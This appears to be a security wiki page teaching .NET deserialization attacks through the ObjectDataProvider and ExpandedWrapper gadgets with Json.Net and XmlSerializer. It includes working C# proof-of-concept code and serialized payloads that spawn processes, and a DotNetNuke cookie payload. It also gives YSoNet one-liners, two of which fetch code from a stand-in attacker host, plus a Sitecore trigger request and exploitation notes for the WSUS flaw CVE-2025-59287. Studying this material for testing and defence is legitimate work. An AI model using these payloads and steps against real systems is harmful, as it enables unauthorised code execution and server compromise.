

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

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#

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This post is dedicated to **understand how the gadget `ObjectDataProvider` is exploited** to obtain RCE and **how** the serialization libraries **`Json.Net` and `XmlSerializer`** **can be abused** with that gadget.

##

From the documentation: *the `ObjectDataProvider` Class Wraps and creates an object that you can use as a binding source*. Yeah, it's a weird explanation, so let's see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use **`MethodParameters`** to **set arbitrary parameters**, and then **use `MethodName` to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters. Therefore, the arbitrary **object** will **execute a function** with **parameters while being deserialized**.

###

The **`System.Windows.Data`** namespace, found within the **`PresentationFramework.dll`** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the `ObjectDataProvider` is defined and implemented.

Using [**dnSpy**](#) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **`PresentationFramework.dll`** ->

`System.Windows.Data` -> `ObjectDataProvider` -> Method name

[image: ObjectDataProvider Gadget - How is this possible: Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of...].png)[image: ObjectDataProvider Gadget - How is this possible: Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of...].png)

As you can observe when `MethodName` is set `base.Refresh()` is called, let's take a look to what does it do:

[image: ObjectDataProvider Gadget - How is this possible: As you can observe when `MethodName` is set `base.Refresh()` is called, let's take a look to what does it do].png)[image: ObjectDataProvider Gadget - How is this possible: As you can observe when `MethodName` is set `base.Refresh()` is called, let's take a look to what does it do].png)

Ok, let's continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:

[image: ObjectDataProvider Gadget - How is this possible: Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does].png)[image: ObjectDataProvider Gadget - How is this possible: Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does].png)

Note that at the end of the code it's calling `this.QueryWorker(null)`. Let's see what does that execute:

[image: ObjectDataProvider Gadget - How is this possible: Note that at the end of the code it's calling this.QueryWorker(null). Let's see what does that execute].png)[image: ObjectDataProvider Gadget - How is this possible: Note that at the end of the code it's calling this.QueryWorker(null). Let's see what does that execute].png)

Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls** `this.InvokeMethodOnInstance(out ex)`; this is the line where the **method set is invoked**.

If you want to check that just setting the **MethodName** it will be executed, you can run this code:

C# demo: ObjectDataProvider triggers Process.Start

```
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider myODP = new ObjectDataProvider();
            myODP.ObjectType = typeof(Process);
            myODP.MethodParameters.Add("cmd.exe");
            myODP.MethodParameters.Add("/c calc.exe");
            myODP.MethodName = "Start";
        }
    }
}
```

Note that you need to add as reference

`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll` in order to load `System.Windows.Data`

##

Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an **ObjectDataProvider** instance (for example in DotNetNuke vuln,

using `XmlSerializer`, the object was deserialized using `GetType()`. Then, will have **no knowledge of the object type that is wrapped** in the `ObjectDataProvider` instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](#).

This class allows to **specify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (`ObjectDataProvider`) into a new object type and provide the properties we need (`ObjectDataProvider.MethodName` and `ObjectDataProvider.MethodParameters`). This is very useful for cases as the one presented before, because we will be able to **wrap `_ObjectDataProvider*` inside an `ExpandedWrapper` instance and when deserialized this class will create the `*ObjectDataProvider` object that will execute the function indicated in `MethodName`**.

You can check this wrapper with the following code:

C# demo: `ExpandedWrapper` encapsulating `ObjectDataProvider`

```
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new
ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}
```

###

A very common vulnerable pattern is something like:

```
Type t = Type.GetType(attackerControlledType);
XmlSerializer xs = new XmlSerializer(t);
object obj = xs.Deserialize(reader);
```

If the attacker controls both the **type name** and the **XML body**, `ExpandedWrapper<..., ObjectDataProvider>` can make `XmlSerializer` materialise an `ObjectDataProvider` in `ProjectedProperty0`. This is why **ExpandedWrapper** keeps showing up in real-world .NET deserialization bugs: the vulnerable code does **not** need to deserialize `Process` or `ObjectDataProvider` directly, it only needs to let the attacker pick a root type that `XmlSerializer` can instantiate.

A practical example is the historical **DotNetNuke DNNPersonalization** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`. A minimal payload shape looks like:

```
<profile>
  <item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapper0FileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>WriteFile</MethodName>
        <MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType>
</MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"/>
      </ProjectedProperty0>
    </ExpandedWrapper0FileSystemUtilsObjectDataProvider>
  </item>
</profile>
```

This is the same primitive described in the first half of this page: `XmlSerializer` reconstructs the `ExpandedWrapper`, that wrapper reconstructs `ObjectDataProvider`, and setting `MethodName` / `MethodParameters` gives the attacker a controllable method invocation.

##

In the [official web page](#) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.

###

First of all lets see an example on how to **serialize/deserialize** an object using this library:

C# demo: `Json.NET serialize/deserialize`

```

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
    public class Account
    {
        public string Email { get; set; }
        public bool Active { get; set; }
        public DateTime CreatedDate { get; set; }
        public IList<string> Roles { get; set; }
    }

    class Program
    {
        static void Main(string[] args)
        {
            Account account = new Account
            {
                Email = "james@example.com",
                Active = true,
                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
                Roles = new List<string>
                {
                    "User",
                    "Admin"
                }
            };

            //Serialize the object and print it
            string json = JsonConvert.SerializeObject(account);
            Console.WriteLine(json);
            //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

            //Deserialize it
            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
            Console.WriteLine(desaccount.Email);
        }
    }
}

```

###

Using ysoserial.net I created the exploit:

```
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
  '$type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
  'MethodName': 'Start',
  'MethodParameters': {
    '$type': 'System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
    '$values': ['cmd', '/c calc.exe']
  },
  'ObjectInstance': { '$type': 'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089' }
}
```

In this code you can **test the exploit**, just run it and you will see that a calc is executed:

C# demo: Json.NET ObjectDataProvider exploitation PoC

```

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName': 'Start',
                'MethodParameters': {
                    '$type': 'System.Collections.ArrayList, mscorlib,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values': ['cmd', '/c calc.exe']
                },
                'ObjectInstance': { '$type': 'System.Diagnostics.Process, System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' }
            }";

            //Exploit to base64
            string userdata_b64 =
Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new
JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}

```

###

Before assuming that `$type` is enough for RCE, quickly verify these conditions:

- The application must deserialize **attacker-controlled JSON** with `TypeNameHandling` different from `None` (`Auto`, `Objects`, or `All` are the usual dangerous values).
- If the target uses a restrictive `SerializationBinder` / `ISerializationBinder`, arbitrary gadget resolution may be blocked even when `TypeNameHandling` is enabled.
- `ObjectDataProvider` is a **WPF gadget** from `PresentationFramework.dll`, so it is much more common in **Windows / .NET Framework / desktop-enabled** targets than in minimal ASP.NET Core deployments.
- If the sink deserializes into a fixed DTO and never honours attacker-controlled type metadata, switch to another gadget or another formatter instead of forcing `ObjectDataProvider`.

##

The `ObjectDataProvider` + `ExpandedWrapper` technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **YSoNet** (and the older [ysoserial.net](https://github.com/0x09b4/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.

Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.

| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | ||

TypeConfuseDelegate | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe`

`TypeConfuseDelegate "calc.exe" > payload.bin` || **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe`

`ActivitySurrogateSelectorFromFile ExploitClass.cs;System.dll > payload.dat` ||

DataSetOldBehaviour | Leverages the **legacy XML** representation of

`System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>...</DataSet>" --spoofedAssembly mscorlib > payload.xml` || **GetterCompilerResults** | On WPF-enabled runtimes (`> .NET 5`) chains property getters until reaching

`System.CodeDom.Compiler.CompilerResults`, then *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c "C:\Temp\loader.dll" > payload.json` || **BaseActivationFactory** | Newer `Json.NET` chain for **.NET 5/6/7 with WPF enabled** that reaches `WinRT.BaseActivationFactory` and causes local/UNC native DLL loading | `Json.NET` | `ysonet.exe -g BaseActivationFactory -f Json.NET -c "C:\Temp\poc.dll" > payload.json` || **ObjectDataProvider** (review) | Uses WPF

`System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. *YSoNet* adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, etc. | `ysonet.exe ObjectDataProvider --`

```
xamlurl http://attacker/o.xaml > payload.xaml ||| PSObject (CVE-2017-8565) | Embeds  
ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell  
deserialises the object | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject  
"Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin ||
```

Tip

All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).

For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to `Json.NET`**. It currently supports several other interesting sinks, including `XmlSerializer (2)`, `JavaScriptSerializer`, `Xaml (4)`, and `DataContractSerializer (2)`, so the same gadget is reusable even when `$type` injection is not happening through JSON.

###

If no pre-compiled binaries are available under *Actions* → *Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:

```
Set-ExecutionPolicy Bypass -Scope Process -Force;  
[System.Net.ServicePointManager]::SecurityProtocol =  
[System.Net.ServicePointManager]::SecurityProtocol -bor 3072;  
iex ((New-Object  
System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));  
choco install visualstudio2022community visualstudio2022-workload-nativedesktop  
msbuild.communitytasks nuget.commandline git --yes;  
  
git clone https://github.com/irsdl/ysonet  
cd ysonet  
nuget restore ysonet.sln  
msbuild ysonet.sln -p:Configuration=Release
```

The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.

##

A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:

- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64-encoded serialized data. The result is cast to string and inserted into the HTML.

Authenticated Sitecore sink trigger HTTP flow

```
// Load HTML into EditHtml session
POST
/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
  <iframe id="test" src="poc"></iframe>
  <dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET
/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?
hdl=...
```

- Gadget: any BinaryFormatter chain returning a string (side-effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.

For a full chain that starts pre-auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

##

- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).

Practical exploitation notes

- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter` / `SoapFormatter` payloads.
- Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:

- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

##

- [YSoNet - .NET Deserialization Payload Generator](#)
- [ysoserial.net - original PoC tool](#)
- [Microsoft - CVE-2017-8565](#)
- [watchTowr Labs - Sitecore XP cache poisoning → RCE](#)
- [Unit 42 - Microsoft WSUS RCE \(CVE-2025-59287\) actively exploited](#)
- [MSRC - CVE-2025-59287 advisory](#)
- [NVD - CVE-2025-59287](#)
- [Json.NET - Serialization Settings \(`TypeNameHandling` and `SerializationBinder` warning\)](#)
- [nefariousplan - CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](#)

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